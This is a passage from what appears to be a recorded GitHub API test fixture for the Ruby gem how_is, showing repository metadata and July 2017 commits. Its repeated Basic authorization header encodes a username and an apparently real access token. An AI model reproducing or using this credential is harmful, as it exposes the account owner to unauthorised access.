ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 15 Mar 2019 21:54:08 GMT Content-Type: - application/json; charset=utf-8 Content-Length: - '2' Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4302' X-Ratelimit-Reset: - '1552689075' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - '"74b5718094ce8869d8149d99338cb4f8"' X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 208B:04FC:F09C7E:1EE4CC2:5C8C1F00 body: encoding: UTF-8 string: "[]" http_version: recorded_at: Fri, 15 Mar 2019 21:54:08 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3404' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"aebd063698d597e4daf9fc6a66efe6f7" Last-Modified: - Fri, 12 Apr 2019 19:35:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 8839:53EF:1E5533:43E5F4:5CC36AE1 body: encoding: ASCII-8BIT string: '{"id":54295243,"node_id":"MDEwOlJlcG9zaXRvcnk1NDI5NTI0Mw==","name":"how_is","full_name":"how-is/how_is","private":false,"owner":{"login":"how-is","id":20577802,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNTc3ODAy","avatar_url":"https://avatars0.githubusercontent.com/u/20577802?v=4","gravatar_id":"","url":"https://api.github.com/users/how-is","html_url":"https://github.com/how-is","followers_url":"https://api.github.com/users/how-is/followers","following_url":"https://api.github.com/users/how-is/following{/other_user}","gists_url":"https://api.github.com/users/how-is/gists{/gist_id}","starred_url":"https://api.github.com/users/how-is/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/how-is/subscriptions","organizations_url":"https://api.github.com/users/how-is/orgs","repos_url":"https://api.github.com/users/how-is/repos","events_url":"https://api.github.com/users/how-is/events{/privacy}","received_events_url":"https://api.github.com/users/how-is/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/how-is/how_is","description":"A gem that explains the state of a GitHub repository.","fork":false,"url":"https://api.github.com/repos/how-is/how_is","forks_url":"https://api.github.com/repos/how-is/how_is/forks","keys_url":"https://api.github.com/repos/how-is/how_is/keys{/key_id}","collaborators_url":"https://api.github.com/repos/how-is/how_is/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/how-is/how_is/teams","hooks_url":"https://api.github.com/repos/how-is/how_is/hooks","issue_events_url":"https://api.github.com/repos/how-is/how_is/issues/events{/number}","events_url":"https://api.github.com/repos/how-is/how_is/events","assignees_url":"https://api.github.com/repos/how-is/how_is/assignees{/user}","branches_url":"https://api.github.com/repos/how-is/how_is/branches{/branch}","tags_url":"https://api.github.com/repos/how-is/how_is/tags","blobs_url":"https://api.github.com/repos/how-is/how_is/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/how-is/how_is/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/how-is/how_is/git/refs{/sha}","trees_url":"https://api.github.com/repos/how-is/how_is/git/trees{/sha}","statuses_url":"https://api.github.com/repos/how-is/how_is/statuses/{sha}","languages_url":"https://api.github.com/repos/how-is/how_is/languages","stargazers_url":"https://api.github.com/repos/how-is/how_is/stargazers","contributors_url":"https://api.github.com/repos/how-is/how_is/contributors","subscribers_url":"https://api.github.com/repos/how-is/how_is/subscribers","subscription_url":"https://api.github.com/repos/how-is/how_is/subscription","commits_url":"https://api.github.com/repos/how-is/how_is/commits{/sha}","git_commits_url":"https://api.github.com/repos/how-is/how_is/git/commits{/sha}","comments_url":"https://api.github.com/repos/how-is/how_is/comments{/number}","issue_comment_url":"https://api.github.com/repos/how-is/how_is/issues/comments{/number}","contents_url":"https://api.github.com/repos/how-is/how_is/contents/{+path}","compare_url":"https://api.github.com/repos/how-is/how_is/compare/{base}...{head}","merges_url":"https://api.github.com/repos/how-is/how_is/merges","archive_url":"https://api.github.com/repos/how-is/how_is/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/how-is/how_is/downloads","issues_url":"https://api.github.com/repos/how-is/how_is/issues{/number}","pulls_url":"https://api.github.com/repos/how-is/how_is/pulls{/number}","milestones_url":"https://api.github.com/repos/how-is/how_is/milestones{/number}","notifications_url":"https://api.github.com/repos/how-is/how_is/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/how-is/how_is/labels{/name}","releases_url":"https://api.github.com/repos/how-is/how_is/releases{/id}","deployments_url":"https://api.github.com/repos/how-is/how_is/deployments","created_at":"2016-03-20T01:37:02Z","updated_at":"2019-04-12T19:35:37Z","pushed_at":"2019-04-26T18:56:44Z","git_url":"git://github.com/how-is/how_is.git","ssh_url":"git@github.com:how-is/how_is.git","clone_url":"https://github.com/how-is/how_is.git","svn_url":"https://github.com/how-is/how_is","homepage":"","size":6383,"stargazers_count":42,"watchers_count":42,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":13,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":6,"open_issues":13,"watchers":42,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"organization":{"login":"how-is","id":20577802,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIwNTc3ODAy","avatar_url":"https://avatars0.githubusercontent.com/u/20577802?v=4","gravatar_id":"","url":"https://api.github.com/users/how-is","html_url":"https://github.com/how-is","followers_url":"https://api.github.com/users/how-is/followers","following_url":"https://api.github.com/users/how-is/following{/other_user}","gists_url":"https://api.github.com/users/how-is/gists{/gist_id}","starred_url":"https://api.github.com/users/how-is/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/how-is/subscriptions","organizations_url":"https://api.github.com/users/how-is/orgs","repos_url":"https://api.github.com/users/how-is/repos","events_url":"https://api.github.com/users/how-is/events{/privacy}","received_events_url":"https://api.github.com/users/how-is/received_events","type":"Organization","site_admin":false},"network_count":6,"subscribers_count":2}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:33 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits?since=2017-07-01&until=2017-08-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:33 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3403' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"70f5c7332a69029918796e12b71bbfc3" Last-Modified: - Mon, 24 Jul 2017 20:29:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 3AED:38C5:2A92C4:5663AD:5CC36AE1 body: encoding: ASCII-8BIT string: '[{"sha":"6baf9704252e08989c6119f0d9b5fd931bf7a1e2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmJhZjk3MDQyNTJlMDg5ODljNjExOWYwZDliNWZkOTMxYmY3YTFlMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-24T20:29:09Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-24T20:29:09Z"},"message":"Merge pull request #183 from how-is/remove-gemfile-lock\n\nRemove Gemfile.lock.","tree":{"sha":"96023b92a44af644297da8d02e17fbdd06697067","url":"https://api.github.com/repos/how-is/how_is/git/trees/96023b92a44af644297da8d02e17fbdd06697067"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","html_url":"https://github.com/how-is/how_is/commit/6baf9704252e08989c6119f0d9b5fd931bf7a1e2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6baf9704252e08989c6119f0d9b5fd931bf7a1e2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c"},{"sha":"2549a25b5a2eea47623c31c2101fc2d7c57119e5","url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","html_url":"https://github.com/how-is/how_is/commit/2549a25b5a2eea47623c31c2101fc2d7c57119e5"}]},{"sha":"2549a25b5a2eea47623c31c2101fc2d7c57119e5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjU0OWEyNWI1YTJlZWE0NzYyM2MzMWMyMTAxZmMyZDdjNTcxMTllNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-24T20:23:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-07-24T20:23:53Z"},"message":"Remove Gemfile.lock.\n\nSee: http://yehudakatz.com/2010/12/16/clarifying-the-roles-of-the-gemspec-and-gemfile/","tree":{"sha":"96023b92a44af644297da8d02e17fbdd06697067","url":"https://api.github.com/repos/how-is/how_is/git/trees/96023b92a44af644297da8d02e17fbdd06697067"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5","html_url":"https://github.com/how-is/how_is/commit/2549a25b5a2eea47623c31c2101fc2d7c57119e5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2549a25b5a2eea47623c31c2101fc2d7c57119e5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c"}]},{"sha":"d22d6fa70b0d952cf16c538498752659b97bfa3c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDIyZDZmYTcwYjBkOTUyY2YxNmM1Mzg0OTg3NTI2NTliOTdiZmEzYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-24T20:15:24Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-24T20:15:24Z"},"message":"Merge pull request #182 from olleolleolle/fix/pr-180-replacement\n\nGemfile: add pry as Git dep","tree":{"sha":"4f21d5250e2289fdb3c52bf13dff06d8572ca584","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f21d5250e2289fdb3c52bf13dff06d8572ca584"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c","html_url":"https://github.com/how-is/how_is/commit/d22d6fa70b0d952cf16c538498752659b97bfa3c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d22d6fa70b0d952cf16c538498752659b97bfa3c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4"},{"sha":"248e758ddeddcd11720aad876f851b4091637f88","url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88","html_url":"https://github.com/how-is/how_is/commit/248e758ddeddcd11720aad876f851b4091637f88"}]},{"sha":"248e758ddeddcd11720aad876f851b4091637f88","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjQ4ZTc1OGRkZWRkY2QxMTcyMGFhZDg3NmY4NTFiNDA5MTYzN2Y4OA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-24T19:47:00Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-24T19:47:00Z"},"message":"Gemfile: add pry as Git dep","tree":{"sha":"4f21d5250e2289fdb3c52bf13dff06d8572ca584","url":"https://api.github.com/repos/how-is/how_is/git/trees/4f21d5250e2289fdb3c52bf13dff06d8572ca584"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/248e758ddeddcd11720aad876f851b4091637f88","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88","html_url":"https://github.com/how-is/how_is/commit/248e758ddeddcd11720aad876f851b4091637f88","comments_url":"https://api.github.com/repos/how-is/how_is/commits/248e758ddeddcd11720aad876f851b4091637f88/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4"}]},{"sha":"7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQwMmQyOGM5YTVjOTlkMDBkNmQ3ZDc4NjRkZGRlMGQxZWQ4MzlmNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:43:14Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:43:14Z"},"message":"Merge pull request #179 from olleolleolle/fix/params-file-for-github_changelog_generator\n\nAdd config file for github_changelog_generator","tree":{"sha":"280d6471879a21ccdf6e396331f1641a4a292a6a","url":"https://api.github.com/repos/how-is/how_is/git/trees/280d6471879a21ccdf6e396331f1641a4a292a6a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","html_url":"https://github.com/how-is/how_is/commit/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7402d28c9a5c99d00d6d7d7864ddde0d1ed839f4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181"},{"sha":"8a0ffc68c87f93dc82254dd704e7197acb6f792e","url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","html_url":"https://github.com/how-is/how_is/commit/8a0ffc68c87f93dc82254dd704e7197acb6f792e"}]},{"sha":"8a0ffc68c87f93dc82254dd704e7197acb6f792e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGEwZmZjNjhjODdmOTNkYzgyMjU0ZGQ3MDRlNzE5N2FjYjZmNzkyZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-16T19:40:20Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-16T19:40:20Z"},"message":"Merge branch ''master'' into fix/params-file-for-github_changelog_generator","tree":{"sha":"280d6471879a21ccdf6e396331f1641a4a292a6a","url":"https://api.github.com/repos/how-is/how_is/git/trees/280d6471879a21ccdf6e396331f1641a4a292a6a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e","html_url":"https://github.com/how-is/how_is/commit/8a0ffc68c87f93dc82254dd704e7197acb6f792e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8a0ffc68c87f93dc82254dd704e7197acb6f792e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"cc93e409ebcc3c008312ffb0421a2a660760ff2c","url":"https://api.github.com/repos/how-is/how_is/commits/cc93e409ebcc3c008312ffb0421a2a660760ff2c","html_url":"https://github.com/how-is/how_is/commit/cc93e409ebcc3c008312ffb0421a2a660760ff2c"},{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","url":"https://api.github.com/repos/how-is/how_is/commits/d2311beacc8380e7f7c3ca37180ba5deb7ed9181","html_url":"https://github.com/how-is/how_is/commit/d2311beacc8380e7f7c3ca37180ba5deb7ed9181"}]},{"sha":"d2311beacc8380e7f7c3ca37180ba5deb7ed9181","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDIzMTFiZWFjYzgzODBlN2Y3YzNjYTM3MTgwYmE1ZGViN2VkOTE